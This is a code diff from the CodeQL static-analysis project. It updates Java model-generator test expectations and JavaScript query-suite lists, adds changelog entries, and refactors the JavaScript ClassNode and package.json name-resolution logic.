4253ee0d6ead..096c186cdc8a 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/Inheritance.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/Inheritance.java @@ -10,7 +10,7 @@ public abstract class BasePublic { } public class AImplBasePrivateImpl extends BasePrivate { - // heuristic-summary=p;Inheritance$AImplBasePrivateImpl;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$AImplBasePrivateImpl;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$AImplBasePrivateImpl;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { @@ -19,7 +19,7 @@ public String id(String s) { } public class AImplBasePublic extends BasePublic { - // heuristic-summary=p;Inheritance$BasePublic;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$BasePublic;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$BasePublic;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { @@ -60,7 +60,7 @@ private abstract class E implements IPrivate2 { } public class BImpl extends B { - // heuristic-summary=p;Inheritance$IPublic1;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$IPublic1;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$IPublic1;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { @@ -69,7 +69,7 @@ public String id(String s) { } public class CImpl extends C { - // heuristic-summary=p;Inheritance$C;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$C;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$C;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { @@ -78,7 +78,7 @@ public String id(String s) { } public class DImpl extends D { - // heuristic-summary=p;Inheritance$IPublic2;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$IPublic2;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$IPublic2;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { @@ -87,7 +87,7 @@ public String id(String s) { } public class EImpl extends E { - // heuristic-summary=p;Inheritance$EImpl;true;id;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;Inheritance$EImpl;true;id;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;Inheritance$EImpl;true;id;(String);;Argument[0];ReturnValue;value;dfc-generated @Override public String id(String s) { diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/InnerClasses.java b/java/ql/test/utils/modelgenerator/dataflow/p/InnerClasses.java index 283bcfd5c6e2..e0db1227b48f 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/InnerClasses.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/InnerClasses.java @@ -9,14 +9,14 @@ public String no(String input) { } public class CaptureMe { - // heuristic-summary=p;InnerClasses$CaptureMe;true;yesCm;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;InnerClasses$CaptureMe;true;yesCm;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;InnerClasses$CaptureMe;true;yesCm;(String);;Argument[0];ReturnValue;value;dfc-generated public String yesCm(String input) { return input; } } - // heuristic-summary=p;InnerClasses;true;yes;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;InnerClasses;true;yes;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;InnerClasses;true;yes;(String);;Argument[0];ReturnValue;value;dfc-generated public String yes(String input) { return input; diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/MultiPaths.java b/java/ql/test/utils/modelgenerator/dataflow/p/MultiPaths.java index 11d2f8f76f83..fb03061eaaf7 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/MultiPaths.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/MultiPaths.java @@ -2,7 +2,7 @@ public class MultiPaths { - // heuristic-summary=p;MultiPaths;true;cond;(String,String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;MultiPaths;true;cond;(String,String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;MultiPaths;true;cond;(String,String);;Argument[0];ReturnValue;value;dfc-generated public String cond(String x, String other) { if (x == other) { diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpl2.java b/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpl2.java index d0fd31613d65..7256e5345baa 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpl2.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpl2.java @@ -16,7 +16,7 @@ public Object m(Object value) { } public class Impl2 implements IInterface { - // heuristic-summary=p;MultipleImpl2$IInterface;true;m;(Object);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;MultipleImpl2$IInterface;true;m;(Object);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;MultipleImpl2$IInterface;true;m;(Object);;Argument[0];ReturnValue;value;dfc-generated public Object m(Object value) { return value; diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpls.java b/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpls.java index 5bdbb47fa483..60e16fbeb165 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpls.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/MultipleImpls.java @@ -9,7 +9,7 @@ public static interface Strategy { } public static class Strat1 implements Strategy { - // heuristic-summary=p;MultipleImpls$Strategy;true;doSomething;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;MultipleImpls$Strategy;true;doSomething;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;MultipleImpls$Strategy;true;doSomething;(String);;Argument[0];ReturnValue;value;dfc-generated public String doSomething(String value) { return value; diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/ParamFlow.java b/java/ql/test/utils/modelgenerator/dataflow/p/ParamFlow.java index 81b9602e5577..4c9d7427d75d 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/ParamFlow.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/ParamFlow.java @@ -7,7 +7,7 @@ public class ParamFlow { - // heuristic-summary=p;ParamFlow;true;returnsInput;(String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=p;ParamFlow;true;returnsInput;(String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=p;ParamFlow;true;returnsInput;(String);;Argument[0];ReturnValue;value;dfc-generated public String returnsInput(String input) { return input; @@ -18,8 +18,8 @@ public int ignorePrimitiveReturnValue(String input) { return input.length(); } - // heuristic-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[0];ReturnValue;taint;df-generated - // heuristic-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[1];ReturnValue;taint;df-generated + // heuristic-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[0];ReturnValue;value;df-generated + // heuristic-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[1];ReturnValue;value;df-generated // contentbased-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[0];ReturnValue;value;dfc-generated // contentbased-summary=p;ParamFlow;true;returnMultipleParameters;(String,String);;Argument[1];ReturnValue;value;dfc-generated public String returnMultipleParameters(String one, String two) { diff --git a/java/ql/test/utils/modelgenerator/dataflow/p/Sources.java b/java/ql/test/utils/modelgenerator/dataflow/p/Sources.java index 0da3f5225c6f..a6a8056b31fc 100644 --- a/java/ql/test/utils/modelgenerator/dataflow/p/Sources.java +++ b/java/ql/test/utils/modelgenerator/dataflow/p/Sources.java @@ -40,8 +40,8 @@ public InputStream wrappedSocketStream() throws IOException { return socketStream(); } - // source=p;Sources;true;sourceToParameter;(InputStream[],List);;Argument[0].ArrayElement;remote;df-generated - // source=p;Sources;true;sourceToParameter;(InputStream[],List);;Argument[1].Element;remote;df-generated + // source=p;Sources;true;sourceToParameter;(InputStream[],List);;Argument[0];remote;df-generated + // source=p;Sources;true;sourceToParameter;(InputStream[],List);;Argument[1];remote;df-generated // neutral=p;Sources;sourceToParameter;(InputStream[],List);summary;df-generated public void sourceToParameter(InputStream[] streams, List otherStreams) throws IOException { diff --git a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected index e4620badfc82..876b5f25fa28 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected @@ -2,4 +2,5 @@ ql/javascript/ql/src/Declarations/IneffectiveParameterType.ql ql/javascript/ql/src/Expressions/ExprHasNoEffect.ql ql/javascript/ql/src/Expressions/MissingAwait.ql ql/javascript/ql/src/LanguageFeatures/SpuriousArguments.ql +ql/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql ql/javascript/ql/src/RegExp/RegExpAlwaysMatches.ql diff --git a/javascript/ql/integration-tests/query-suite/javascript-code-scanning.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-code-scanning.qls.expected index 7f7ab7aa326d..1cf124ce3cf6 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-code-scanning.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-code-scanning.qls.expected @@ -75,7 +75,6 @@ ql/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql ql/javascript/ql/src/Security/CWE-770/MissingRateLimiting.ql ql/javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql ql/javascript/ql/src/Security/CWE-776/XmlBomb.ql -ql/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/javascript/ql/src/Security/CWE-829/InsecureDownload.ql ql/javascript/ql/src/Security/CWE-830/FunctionalityFromUntrustedDomain.ql ql/javascript/ql/src/Security/CWE-830/FunctionalityFromUntrustedSource.ql diff --git a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected index 63f6629f7bfd..eb4acd38e39b 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected @@ -144,7 +144,6 @@ ql/javascript/ql/src/Security/CWE-312/ActionsArtifactLeak.ql ql/javascript/ql/src/Security/CWE-312/BuildArtifactLeak.ql ql/javascript/ql/src/Security/CWE-312/CleartextLogging.ql ql/javascript/ql/src/Security/CWE-312/CleartextStorage.ql -ql/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql ql/javascript/ql/src/Security/CWE-326/InsufficientKeySize.ql ql/javascript/ql/src/Security/CWE-327/BadRandomness.ql ql/javascript/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql @@ -173,7 +172,6 @@ ql/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql ql/javascript/ql/src/Security/CWE-770/MissingRateLimiting.ql ql/javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql ql/javascript/ql/src/Security/CWE-776/XmlBomb.ql -ql/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/javascript/ql/src/Security/CWE-807/ConditionalBypass.ql ql/javascript/ql/src/Security/CWE-829/InsecureDownload.ql ql/javascript/ql/src/Security/CWE-830/FunctionalityFromUntrustedDomain.ql diff --git a/javascript/ql/integration-tests/query-suite/javascript-security-extended.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-security-extended.qls.expected index 29ae7fd6939e..a5b5cfefdbc2 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-security-extended.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-security-extended.qls.expected @@ -59,7 +59,6 @@ ql/javascript/ql/src/Security/CWE-312/ActionsArtifactLeak.ql ql/javascript/ql/src/Security/CWE-312/BuildArtifactLeak.ql ql/javascript/ql/src/Security/CWE-312/CleartextLogging.ql ql/javascript/ql/src/Security/CWE-312/CleartextStorage.ql -ql/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql ql/javascript/ql/src/Security/CWE-326/InsufficientKeySize.ql ql/javascript/ql/src/Security/CWE-327/BadRandomness.ql ql/javascript/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql @@ -88,7 +87,6 @@ ql/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql ql/javascript/ql/src/Security/CWE-770/MissingRateLimiting.ql ql/javascript/ql/src/Security/CWE-770/ResourceExhaustion.ql ql/javascript/ql/src/Security/CWE-776/XmlBomb.ql -ql/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/javascript/ql/src/Security/CWE-807/ConditionalBypass.ql ql/javascript/ql/src/Security/CWE-829/InsecureDownload.ql ql/javascript/ql/src/Security/CWE-830/FunctionalityFromUntrustedDomain.ql diff --git a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected index a6c808c6cbfb..34c4df3d6fae 100644 --- a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -53,7 +53,9 @@ ql/javascript/ql/src/RegExp/BackspaceEscape.ql ql/javascript/ql/src/RegExp/MalformedRegExp.ql ql/javascript/ql/src/Security/CWE-020/ExternalAPIsUsedWithUntrustedData.ql ql/javascript/ql/src/Security/CWE-020/UntrustedDataToExternalAPI.ql +ql/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql ql/javascript/ql/src/Security/CWE-451/MissingXFrameOptions.ql +ql/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/javascript/ql/src/Security/CWE-807/DifferentKindsComparisonBypass.ql ql/javascript/ql/src/Security/trest/test.ql ql/javascript/ql/src/Statements/EphemeralLoop.ql diff --git a/javascript/ql/lib/CHANGELOG.md b/javascript/ql/lib/CHANGELOG.md index 2d7716b8393d..0068a86fb4c4 100644 --- a/javascript/ql/lib/CHANGELOG.md +++ b/javascript/ql/lib/CHANGELOG.md @@ -1,3 +1,15 @@ +## 2.6.5 + +### Minor Analysis Improvements + +* Added taint flow through the `URL` constructor from the `url` package, improving the identification of SSRF vulnerabilities. + +## 2.6.4 + +### Minor Analysis Improvements + +* Improved analysis for `ES6 classes` mixed with `function prototypes`, leading to more accurate call graph resolution. + ## 2.6.3 ### Minor Analysis Improvements diff --git a/javascript/ql/lib/change-notes/released/2.6.4.md b/javascript/ql/lib/change-notes/released/2.6.4.md new file mode 100644 index 000000000000..90658374635e --- /dev/null +++ b/javascript/ql/lib/change-notes/released/2.6.4.md @@ -0,0 +1,5 @@ +## 2.6.4 + +### Minor Analysis Improvements + +* Improved analysis for `ES6 classes` mixed with `function prototypes`, leading to more accurate call graph resolution. diff --git a/javascript/ql/lib/change-notes/released/2.6.5.md b/javascript/ql/lib/change-notes/released/2.6.5.md new file mode 100644 index 000000000000..ae1137dbc08f --- /dev/null +++ b/javascript/ql/lib/change-notes/released/2.6.5.md @@ -0,0 +1,5 @@ +## 2.6.5 + +### Minor Analysis Improvements + +* Added taint flow through the `URL` constructor from the `url` package, improving the identification of SSRF vulnerabilities. diff --git a/javascript/ql/lib/codeql-pack.release.yml b/javascript/ql/lib/codeql-pack.release.yml index e2457adb03c7..b29c290895c1 100644 --- a/javascript/ql/lib/codeql-pack.release.yml +++ b/javascript/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.6.3 +lastReleaseVersion: 2.6.5 diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index 9a212edfbd47..c015b3679f16 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.3 +version: 2.6.5 groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index 276fe5a01690..3e882251cbf7 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -1236,7 +1236,7 @@ module API { exists(DataFlow::ClassNode cls | nd = MkClassInstance(cls) | ref = cls.getAReceiverNode() or - ref = cls.(DataFlow::ClassNode::FunctionStyleClass).getAPrototypeReference() + ref = cls.(DataFlow::ClassNode).getAPrototypeReference() ) or nd = MkUse(ref) diff --git a/javascript/ql/lib/semmle/javascript/NPM.qll b/javascript/ql/lib/semmle/javascript/NPM.qll index 92e349594144..cbe580b45689 100644 --- a/javascript/ql/lib/semmle/javascript/NPM.qll +++ b/javascript/ql/lib/semmle/javascript/NPM.qll @@ -22,6 +22,13 @@ class PackageJson extends JsonObject { pragma[nomagic] string getDeclaredPackageName() { result = this.getPropStringValue("name") } + /** + * Gets the nearest `package.json` file found in the parent directories, if any. + */ + PackageJson getEnclosingPackage() { + result.getFolder() = packageInternalParent*(this.getFolder().getParentContainer()) + } + /** * Gets the name of this package. * If the package is located under the package `pkg1` and its relative path is `foo/bar`, then the resulting package name will be `pkg1/foo/bar`. @@ -29,18 +36,13 @@ class PackageJson extends JsonObject { string getPackageName() { result = this.getDeclaredPackageName() or - exists( - PackageJson parentPkg, Container currentDir, Container parentDir, string parentPkgName, - string pkgNameDiff - | - currentDir = this.getJsonFile().getParentContainer() and - parentDir = parentPkg.getJsonFile().getParentContainer() and - parentPkgName = parentPkg.getPropStringValue("name") and - parentDir.getAChildContainer+() = currentDir and - pkgNameDiff = currentDir.getAbsolutePath().suffix(parentDir.getAbsolutePath().length()) and - not exists(pkgNameDiff.indexOf("/node_modules/")) and - result = parentPkgName + pkgNameDiff and - not parentPkg.isPrivate() + not exists(this.getDeclaredPackageName()) and + exists(PackageJson parent | + parent = this.getEnclosingPackage() and + not parent.isPrivate() and + result = + parent.getDeclaredPackageName() + + this.getFolder().getRelativePath().suffix(parent.getFolder().getRelativePath().length()) ) } @@ -405,5 +407,6 @@ class NpmPackage extends @folder { */ private Folder packageInternalParent(Container c) { result = c.getParentContainer() and - not c.(Folder).getBaseName() = "node_modules" + not c.(Folder).getBaseName() = "node_modules" and + not c = any(PackageJson pkg).getFolder() } diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index 7f9b375f534e..0e6394a6f557 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -861,21 +861,61 @@ module MemberKind { * * Additional patterns can be recognized as class nodes, by extending `DataFlow::ClassNode::Range`. */ -class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { +class ClassNode extends DataFlow::ValueNode, DataFlow::SourceNode { + override AST::ValueNode astNode; + AbstractCallable function; + + ClassNode() { + // ES6 class case + astNode instanceof ClassDefinition and + function.(AbstractClass).getClass() = astNode + or + // Function-style class case + astNode instanceof Function and + not astNode = any(ClassDefinition cls).getConstructor().getBody() and + function.getFunction() = astNode and + ( + exists(getAFunctionValueWithPrototype(function)) + or + function = any(NewNode new).getCalleeNode().analyze().getAValue() + or + exists(string name | this = AccessPath::getAnAssignmentTo(name) | + exists(getAPrototypeReferenceInFile(name, this.getFile())) + or + exists(getAnInstantiationInFile(name, this.getFile())) + ) + ) + } + /** * Gets the unqualified name of the class, if it has one or one can be determined from the context. */ - string getName() { result = super.getName() } + string getName() { + astNode instanceof ClassDefinition and result = astNode.(ClassDefinition).getName() + or + astNode instanceof Function and result = astNode.(Function).getName() + } /** * Gets a description of the class. */ - string describe() { result = super.describe() } + string describe() { + astNode instanceof ClassDefinition and result = astNode.(ClassDefinition).describe() + or + astNode instanceof Function and result = astNode.(Function).describe() + } /** * Gets the constructor function of this class. */ - FunctionNode getConstructor() { result = super.getConstructor() } + FunctionNode getConstructor() { + // For ES6 classes + astNode instanceof ClassDefinition and + result = astNode.(ClassDefinition).getConstructor().getBody().flow() + or + // For function-style classes + astNode instanceof Function and result = this + } /** * Gets an instance method declared in this class, with the given name, if any. @@ -883,7 +923,7 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { * Does not include methods from superclasses. */ FunctionNode getInstanceMethod(string name) { - result = super.getInstanceMember(name, MemberKind::method()) + result = this.getInstanceMember(name, MemberKind::method()) } /** @@ -893,7 +933,7 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { * * Does not include methods from superclasses. */ - FunctionNode getAnInstanceMethod() { result = super.getAnInstanceMember(MemberKind::method()) } + FunctionNode getAnInstanceMethod() { result = this.getAnInstanceMember(MemberKind::method()) } /** * Gets the instance method, getter, or setter with the given name and kind. @@ -901,7 +941,29 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { * Does not include members from superclasses. */ FunctionNode getInstanceMember(string name, MemberKind kind) { - result = super.getInstanceMember(name, kind) + // ES6 class methods + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getMethod(name) and + not method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or + // Function-style class accessors + astNode instanceof Function and + exists(PropertyAccessor accessor | + accessor = this.getAnAccessor(kind) and + accessor.getName() = name and + result = accessor.getInit().flow() + ) + or + kind = MemberKind::method() and + result = + [ + this.getConstructor().getReceiver().getAPropertySource(name), + this.getAPrototypeReference().getAPropertySource(name) + ] } /** @@ -909,20 +971,52 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { * * Does not include members from superclasses. */ - FunctionNode getAnInstanceMember(MemberKind kind) { result = super.getAnInstanceMember(kind) } + FunctionNode getAnInstanceMember(MemberKind kind) { + // ES6 class methods + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getAMethod() and + not method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or + // Function-style class accessors + astNode instanceof Function and + exists(PropertyAccessor accessor | + accessor = this.getAnAccessor(kind) and + result = accessor.getInit().flow() + ) + or + kind = MemberKind::method() and + result = + [ + this.getConstructor().getReceiver().getAPropertySource(), + this.getAPrototypeReference().getAPropertySource() + ] + } /** * Gets an instance method, getter, or setter declared in this class. * * Does not include members from superclasses. */ - FunctionNode getAnInstanceMember() { result = super.getAnInstanceMember(_) } + FunctionNode getAnInstanceMember() { result = this.getAnInstanceMember(_) } /** * Gets the static method, getter, or setter declared in this class with the given name and kind. */ FunctionNode getStaticMember(string name, MemberKind kind) { - result = super.getStaticMember(name, kind) + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getMethod(name) and + method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or + kind.isMethod() and + result = this.getAPropertySource(name) } /** @@ -935,7 +1029,18 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { /** * Gets a static method, getter, or setter declared in this class with the given kind. */ - FunctionNode getAStaticMember(MemberKind kind) { result = super.getAStaticMember(kind) } + FunctionNode getAStaticMember(MemberKind kind) { + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getAMethod() and + method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or + kind.isMethod() and + result = this.getAPropertySource() + } /** * Gets a static method declared in this class. @@ -944,10 +1049,79 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { */ FunctionNode getAStaticMethod() { result = this.getAStaticMember(MemberKind::method()) } + /** + * Gets a reference to the prototype of this class. + * Only applies to function-style classes. + */ + DataFlow::SourceNode getAPrototypeReference() { + exists(DataFlow::SourceNode base | base = getAFunctionValueWithPrototype(function) | + result = base.getAPropertyRead("prototype") + or + result = base.getAPropertySource("prototype") + ) + or + exists(string name | + this = AccessPath::getAnAssignmentTo(name) and + result = getAPrototypeReferenceInFile(name, this.getFile()) + ) + or + exists(string name, DataFlow::SourceNode root | + result = AccessPath::getAReferenceOrAssignmentTo(root, name + ".prototype").getALocalSource() and + this = AccessPath::getAnAssignmentTo(root, name) + ) + or + exists(ExtendCall call | + call.getDestinationOperand() = this.getAPrototypeReference() and + result = call.getASourceOperand() + ) + } + + private PropertyAccessor getAnAccessor(MemberKind kind) { + // Only applies to function-style classes + astNode instanceof Function and + result.getObjectExpr() = this.getAPrototypeReference().asExpr() and + ( + kind = MemberKind::getter() and + result instanceof PropertyGetter + or + kind = MemberKind::setter() and + result instanceof PropertySetter + ) + } + /** * Gets a dataflow node that refers to the superclass of this class. */ - DataFlow::Node getASuperClassNode() { result = super.getASuperClassNode() } + DataFlow::Node getASuperClassNode() { + // ES6 class superclass + astNode instanceof ClassDefinition and + result = astNode.(ClassDefinition).getSuperClass().flow() + or + ( + // C.prototype = Object.create(D.prototype) + exists(DataFlow::InvokeNode objectCreate, DataFlow::PropRead superProto | + this.getAPropertySource("prototype") = objectCreate and + objectCreate = DataFlow::globalVarRef("Object").getAMemberCall("create") and + superProto.flowsTo(objectCreate.getArgument(0)) and + superProto.getPropertyName() = "prototype" and + result = superProto.getBase() + ) + or + // C.prototype = new D() + exists(DataFlow::NewNode newCall | + this.getAPropertySource("prototype") = newCall and + result = newCall.getCalleeNode() + ) + or + // util.inherits(C, D); + exists(DataFlow::CallNode inheritsCall | + inheritsCall = DataFlow::moduleMember("util", "inherits").getACall() + | + this = inheritsCall.getArgument(0).getALocalSource() and + result = inheritsCall.getArgument(1) + ) + ) + } /** * Gets a direct super class of this class. @@ -1136,13 +1310,47 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { * Gets the type annotation for the field `fieldName`, if any. */ TypeAnnotation getFieldTypeAnnotation(string fieldName) { - result = super.getFieldTypeAnnotation(fieldName) + exists(FieldDeclaration field | + field.getDeclaringClass() = astNode and + fieldName = field.getName() and + result = field.getTypeAnnotation() + ) } /** * Gets a decorator applied to this class. */ - DataFlow::Node getADecorator() { result = super.getADecorator() } + DataFlow::Node getADecorator() { + astNode instanceof ClassDefinition and + result = astNode.(ClassDefinition).getADecorator().getExpression().flow() + } +} + +/** + * Helper predicate to get a prototype reference in a file. + */ +private DataFlow::PropRef getAPrototypeReferenceInFile(string name, File f) { + result.getBase() = AccessPath::getAReferenceOrAssignmentTo(name) and + result.getPropertyName() = "prototype" and + result.getFile() = f +} + +/** + * Helper predicate to get an instantiation in a file. + */ +private DataFlow::NewNode getAnInstantiationInFile(string name, File f) { + result = AccessPath::getAReferenceTo(name).(DataFlow::LocalSourceNode).getAnInstantiation() and + result.getFile() = f +} + +/** + * Gets a reference to the function `func`, where there exists a read/write of the "prototype" property on that reference. + */ +pragma[noinline] +private DataFlow::SourceNode getAFunctionValueWithPrototype(AbstractValue func) { + exists(result.getAPropertyReference("prototype")) and + result.analyze().getAValue() = pragma[only_bind_into](func) and + func instanceof AbstractCallable // the join-order goes bad if `func` has type `AbstractFunction`. } module ClassNode { @@ -1214,225 +1422,7 @@ module ClassNode { DataFlow::Node getADecorator() { none() } } - /** - * An ES6 class as a `ClassNode` instance. - */ - private class ES6Class extends Range, DataFlow::ValueNode { - override ClassDefinition astNode; - - override string getName() { result = astNode.getName() } - - override string describe() { result = astNode.describe() } - - override FunctionNode getConstructor() { result = astNode.getConstructor().getBody().flow() } - - override FunctionNode getInstanceMember(string name, MemberKind kind) { - exists(MethodDeclaration method | - method = astNode.getMethod(name) and - not method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - kind = MemberKind::method() and - result = this.getConstructor().getReceiver().getAPropertySource(name) - } - - override FunctionNode getAnInstanceMember(MemberKind kind) { - exists(MethodDeclaration method | - method = astNode.getAMethod() and - not method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - kind = MemberKind::method() and - result = this.getConstructor().getReceiver().getAPropertySource() - } - - override FunctionNode getStaticMember(string name, MemberKind kind) { - exists(MethodDeclaration method | - method = astNode.getMethod(name) and - method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - kind.isMethod() and - result = this.getAPropertySource(name) - } - - override FunctionNode getAStaticMember(MemberKind kind) { - exists(MethodDeclaration method | - method = astNode.getAMethod() and - method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - kind.isMethod() and - result = this.getAPropertySource() - } - - override DataFlow::Node getASuperClassNode() { result = astNode.getSuperClass().flow() } - - override TypeAnnotation getFieldTypeAnnotation(string fieldName) { - exists(FieldDeclaration field | - field.getDeclaringClass() = astNode and - fieldName = field.getName() and - result = field.getTypeAnnotation() - ) - } - - override DataFlow::Node getADecorator() { - result = astNode.getADecorator().getExpression().flow() - } - } - - private DataFlow::PropRef getAPrototypeReferenceInFile(string name, File f) { - result.getBase() = AccessPath::getAReferenceOrAssignmentTo(name) and - result.getPropertyName() = "prototype" and - result.getFile() = f - } - - pragma[nomagic] - private DataFlow::NewNode getAnInstantiationInFile(string name, File f) { - result = AccessPath::getAReferenceTo(name).(DataFlow::LocalSourceNode).getAnInstantiation() and - result.getFile() = f - } - - /** - * Gets a reference to the function `func`, where there exists a read/write of the "prototype" property on that reference. - */ - pragma[noinline] - private DataFlow::SourceNode getAFunctionValueWithPrototype(AbstractValue func) { - exists(result.getAPropertyReference("prototype")) and - result.analyze().getAValue() = pragma[only_bind_into](func) and - func instanceof AbstractFunction // the join-order goes bad if `func` has type `AbstractFunction`. - } - - /** - * A function definition, targeted 